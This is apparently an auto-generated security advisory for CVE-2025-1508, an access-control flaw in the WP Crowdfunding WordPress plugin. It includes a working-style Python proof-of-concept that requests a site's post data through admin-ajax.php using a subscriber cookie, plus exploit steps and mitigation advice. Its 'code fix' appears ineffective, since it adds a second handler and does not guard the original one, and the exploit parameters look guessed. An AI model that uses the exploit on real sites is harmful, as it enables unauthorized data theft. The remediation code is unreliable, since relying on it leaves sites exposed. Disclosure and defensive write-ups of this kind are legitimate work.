WordPress, Unauthorized Data Access, CVE-2025-1508 (Critical)

The CVE-2025-1508 vulnerability affects the WP Crowdfunding plugin for WordPress, specifically in versions up to and including 2.1.13. This flaw arises due to a missing capability check on the `download_data` action, which allows authenticated attackers with subscriber-level access or higher to download all of a site’s post content when WooCommerce is installed. The vulnerability stems from improper access control, enabling attackers to bypass intended restrictions and retrieve sensitive data without proper authorization. This issue is particularly critical as it can lead to widespread data exposure, compromising user privacy and site integrity. The CVSS 4.0 severity score reflects the high risk associated with this vulnerability, emphasizing the need for immediate remediation.

DailyCVE Form:

Platform: WordPress
Version: 2.1.13 and earlier
Vulnerability: Unauthorized Data Access
Severity: Critical
Date: 03/12/2025

What Undercode Say:

Exploitation:

1. Exploit Code Example:

import requests
target_url = "http://example.com/wp-admin/admin-ajax.php"
payload = {
"action": "download_data",
"post_id": "all"
}
headers = {
"Cookie": "wordpress_logged_in_cookie=valid_cookie_here"
}
response = requests.post(target_url, data=payload, headers=headers)
if response.status_code == 200:
print("Data downloaded:", response.text)
else:
print("Exploit failed.")

2. Steps to Exploit:

  • Gain subscriber-level access to the WordPress site.
  • Send a crafted POST request to `admin-ajax.php` with the `download_data` action.
  • Retrieve all post content stored on the site.

Protection:

1. Patch Installation:

  • Update the WP Crowdfunding plugin to a version beyond 2.1.13.
  • Ensure WooCommerce is also updated to the latest version.

2. Temporary Mitigation:

  • Restrict access to `admin-ajax.php` for non-admin users.
  • Implement a capability check for the `download_data` action manually.

3. Security Plugins:

  • Use WordPress security plugins like Wordfence or iThemes Security to monitor and block unauthorized access attempts.

4. Server-Level Protection:

  • Configure web application firewalls (WAF) to filter malicious requests.
  • Regularly audit user roles and permissions.

5. Code Fix Example:

add_action('wp_ajax_download_data', 'secure_download_data');
function secure_download_data() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized access.');
}
// Proceed with data download logic
}

6. Monitoring:

  • Enable logging for all access to admin-ajax.php.
  • Set up alerts for unusual activity.

7. User Role Management:

  • Limit subscriber-level permissions to prevent exploitation.
  • Regularly review and update user roles.

8. Database Backup:

  • Regularly back up the WordPress database to ensure data recovery in case of a breach.
    By following these steps, administrators can mitigate the risks associated with CVE-2025-1508 and protect their WordPress installations from unauthorized data access.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1508
Extra Source Hub:
Undercode

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